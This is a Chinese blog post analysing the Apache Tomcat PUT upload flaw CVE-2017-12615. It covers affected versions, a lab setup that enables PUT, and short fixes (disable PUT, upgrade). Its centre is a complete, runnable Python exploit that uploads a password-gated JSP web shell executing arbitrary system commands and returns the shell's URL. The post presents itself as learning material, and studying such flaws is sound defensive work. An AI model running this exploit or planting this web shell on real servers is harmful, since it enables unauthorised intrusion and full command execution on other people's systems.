内容简介:Tomcat远程代码执行漏洞分析与利用
漏洞介绍
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。
其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 – 7.0.79(7.0.81修复不完全)当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行,危害十分严重。
影响版本
Apache Tomcat 7.0.0 – 7.0.81
漏洞编号
CVE-2017-12615
漏洞利用前提
需Tomcat开启了HTTP PUT请求。
环境搭建
首先下载Tomcat,本文以7.0.81为例,一直点击下一步安装即可。
安装成功后,需要开启HTTP PUT,首先打开Tomcat安装目录,找到配置文件,如图:
打开之后,寻找 readonly ,如图,他被禁用了,禁止PUT上传:
我们在下放找到 org.apache.catalina.servlets.DefaultServlet 方法,并在其中添加如下命令:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
如图:
最后重启Tomcat即可。
漏洞利用
POC如下:
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
如图,使用 Python 执行POC后,会返回 Shell 地址。
接下来直接访问POC,可以看到,成功访问。
最后执行命令
如图所示,成功执行
修复
1:开发人员应检测当前版本是否在影响范围内,并禁用PUT方法。
2:更新并升级至最新版。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Paradigms of Artificial Intelligence Programming
Peter Norvig / Morgan Kaufmann / 1991-10-01 / USD 77.95
Paradigms of AI Programming is the first text to teach advanced Common Lisp techniques in the context of building major AI systems. By reconstructing authentic, complex AI programs using state-of-the-......一起来看看 《Paradigms of Artificial Intelligence Programming》 这本书的介绍吧!